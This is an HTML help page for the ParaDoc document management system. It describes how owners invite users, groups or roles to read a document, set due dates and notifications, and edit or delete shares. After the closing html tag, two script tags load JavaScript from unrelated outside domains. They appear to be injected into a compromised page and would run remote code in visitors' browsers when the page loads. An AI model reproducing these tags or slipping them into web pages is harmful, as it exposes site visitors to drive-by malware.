<html>

<head>

<title>DMS Document Sharing and Invitation Management</title>
<body>

  <table border = "0" height="339">
  <tr>
    <td width="100%" valign="top" colspan="3" height="38">
    <p align="justify"><span lang="EN-US" style="font-family: Arial">
    <font size="2">Document invitation for sharing can be issued throughout 
    ParaDoc workspace by the document owner.&nbsp; Once the invitation is enabled for 
    the particular document(s), the recipients will receive an invitation email 
    message and the invited document can be read by others temporary.<br>
    <br></font></span></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="9">
    <p align="justify"><font face="Arial" size="2"><b>i.</b></font></td>
    <td width="96%" colspan="2" height="9">
    <p align="justify"><a name="_Toc58411500"><b>
    <span lang="EN-US" style="font-family: Arial"><font size="2">Setup an 
    invitation for document read</font></span></b></a></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="17">
    <p align="justify">
    </td>
    <td width="188%" height="17" valign="top" colspan="2">
    <p align="justify"><span lang="EN-US" style="font-family: Arial">
    <font size="2">By clicking "Invitation" button in edit menu of target 
    document.&nbsp; The Interface of Document Invitation will be displayed to enable 
    the temporary document sharing by invite<br>
    <br></font></span></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="15">
    <p align="justify"></td>
    <td width="4%" height="15" valign="top">
    <p align="justify"><font face="Arial" size="2">1.</font></td>
    <td width="184%" height="15">
    <p align="justify"><b><span lang="EN-GB" style="font-family: Arial">
    <font size="2">Location</font></span><span style="font-family: Arial"><font size="2">:</font></span></b></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="17">
    <p align="justify"></td>
    <td width="4%" height="17" valign="top">
    <p align="justify"></td>
    <td width="184%" height="17">
    <p align="justify"><span lang="EN-GB" style="font-family: Arial">
    <font size="2">The directory where the selected document located in ParaDoc.<br>
    <br></font></span></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="17">
    <p align="justify"></td>
    <td width="4%" height="17" valign="top">
    <p align="justify"><font face="Arial" size="2">2.</font></td>
    <td width="184%" height="17">
    <p align="justify"><b><span lang="EN-US" style="font-family: Arial">
    <font size="2">Document Name:</font></span></b></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="17">
    <p align="justify"></td>
    <td width="4%" height="17" valign="top">
    <p align="justify"></td>
    <td width="184%" height="17">
    <p align="justify"><span lang="EN-US" style="font-family: Arial">
    <font size="2">The selected folder/document name will be displayed under the 
    field Folder/Document Name.<br>
    <br></font></span></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="17">
    <p align="justify"></td>
    <td width="4%" height="17" valign="top">
    <p align="justify"><font face="Arial" size="2">3.</font></td>
    <td width="184%" height="17">
    <p align="justify"><b><span lang="EN-US" style="font-family: Arial">
    <font size="2">Notification Method:</font></span></b></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="17">
    <p align="justify"></td>
    <td width="4%" height="17" valign="top">
    <p align="justify"></td>
    <td width="184%" height="17">
    <p align="justify"><span lang="EN-US" style="font-family: Arial">
    <font size="2">Type of notification method for document sharing is "Invite 
    to read".&nbsp; By checking the "Invite to read" check-box, users can share their 
    document to his/her selected recipient.<br>
    <br></font></span></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="15">
    <p align="justify"></td>
    <td width="4%" height="15" valign="top">
    <p align="justify"><font face="Arial" size="2">4.</font></td>
    <td width="184%" height="15">
    <p align="justify"><b><span lang="EN-US" style="font-family: Arial">
    <font size="2">Due Date:</font></span></b></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="17">
    <p align="justify"></td>
    <td width="4%" height="17" valign="top">
    <p align="justify"></td>
    <td width="184%" height="17">
    <p align="justify"><span lang="EN-US" style="font-family: Arial">
    <font size="2">Due date of Document sharing can be defined for invitation.&nbsp; 
    Users can setup a due date for target recipient to share the document 
    temporary, or leave it as blank for permanent read. <br>
    <br></font></span></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="17">
    <p align="justify"></td>
    <td width="4%" height="17" valign="top">
    <p align="justify"><font face="Arial" size="2">5.</font></td>
    <td width="184%" height="17">
    <p align="justify"><b><span lang="EN-US" style="font-family: Arial">
    <font size="2">Notification Type:</font></span></b></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="17">
    <p align="justify"></td>
    <td width="4%" height="17" valign="top">
    <p align="justify"></td>
    <td width="184%" height="17">
    <p align="justify"><span lang="EN-US" style="font-family: Arial">
    <font size="2">Notification Type defined the bridge on how the ParaDoc alert 
    the user when the appropriate notification policies are breached.<br>
    <br></font></span></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="17">
    <p align="justify"></td>
    <td width="4%" height="17" valign="top">
    <p align="justify"><font face="Arial" size="2">6.</font></td>
    <td width="184%" height="17">
    <p align="justify"><b><span lang="EN-US" style="font-family: Arial">
    <font size="2">Message:</font></span></b></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="17">
    <p align="justify"></td>
    <td width="4%" height="17" valign="top">
    <p align="justify"></td>
    <td width="184%" height="17">
    <p align="justify"><span lang="EN-US" style="font-family: Arial">
    <font size="2">Users can type in the notes or comment for invited recipient 
    using Message text-area.<br>
    <br></font></span></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="17">
    <p align="justify"></td>
    <td width="4%" height="17" valign="top">
    <p align="justify"><font face="Arial" size="2">7.</font></td>
    <td width="184%" height="17">
    <p align="justify"><b><span lang="EN-US" style="font-family: Arial">
    <font size="2">Recipient:</font></span></b></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="17">
    <p align="justify"></td>
    <td width="4%" height="17" valign="top">
    <p align="justify"></td>
    <td width="184%" height="17">
    <p align="justify"><span lang="EN-US" style="font-family: Arial">
    <font size="2">ParaDoc support multiple-recipients (Users, Groups and Roles) 
    selection combination for individual document sharing operation.<br>
    <br></font></span></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="15">
    <p align="justify">
    </td>
    <td width="188%" height="15" valign="top" colspan="2">
    <p align="justify"><span lang="EN-US" style="font-family: Arial">
    <font size="2">Available Functions:</font></span></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="15">
    <p align="justify">
    </td>
    <td width="4%" height="15" valign="top">
    <p align="justify"><font face="Arial" size="2">1.</font></td>
    <td width="184%" height="15">
    <p align="justify"><font face="Arial" size="2"><b>Save</b></font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="15">
    <p align="justify">
    </td>
    <td width="4%" height="15" valign="top">
    <p align="justify"></td>
    <td width="184%" height="15">
    <p align="justify"><span lang="EN-US" style="font-family: Arial">
    <font size="2">To save the document invite and send the notification 
    immediately.<br>
    <br></font></span></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="15">
    <p align="justify">
    </td>
    <td width="4%" height="15" valign="top">
    <p align="justify"><font face="Arial" size="2">2.</font></td>
    <td width="184%" height="15">
    <p align="justify"><font face="Arial" size="2"><b>Back</b></font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="15">
    <p align="justify">
    </td>
    <td width="4%" height="15" valign="top">
    <p align="justify"></td>
    <td width="184%" height="15">
    <p align="justify"><span lang="EN-US" style="font-family: Arial">
    <font size="2">Quit and return to the current directory listing.</font></span><font face="Arial" size="2"><br>
    <br></font></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="15">
    <p align="justify"><font face="Arial" size="2"><b>ii.</b></font></td>
    <td width="188%" height="15" valign="top" colspan="2">
    <p align="justify"><a name="_Toc58411501"><b>
    <span lang="EN-US" style="font-family: Arial"><font size="2">Edit or Delete 
    document sharing</font></span></b></a></td>
  </tr>
  <tr>
    <td width="4%" valign="top" height="12">
    <p align="justify">
    </td>
    <td width="188%" height="12" colspan="2">
    <p align="justify"><font face="Arial" size="2">To edit the sharing details, 
    users can input the new information and click the "Save" button to save the 
    change.<br>
    <br>
    To delete the sharing on current document, users can click the "Delete" 
    button to delete the document invite record. Warning message will be 
    prompted to confirm your deletion.</font></td>
  </tr>
  
 </table>
</body>

</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>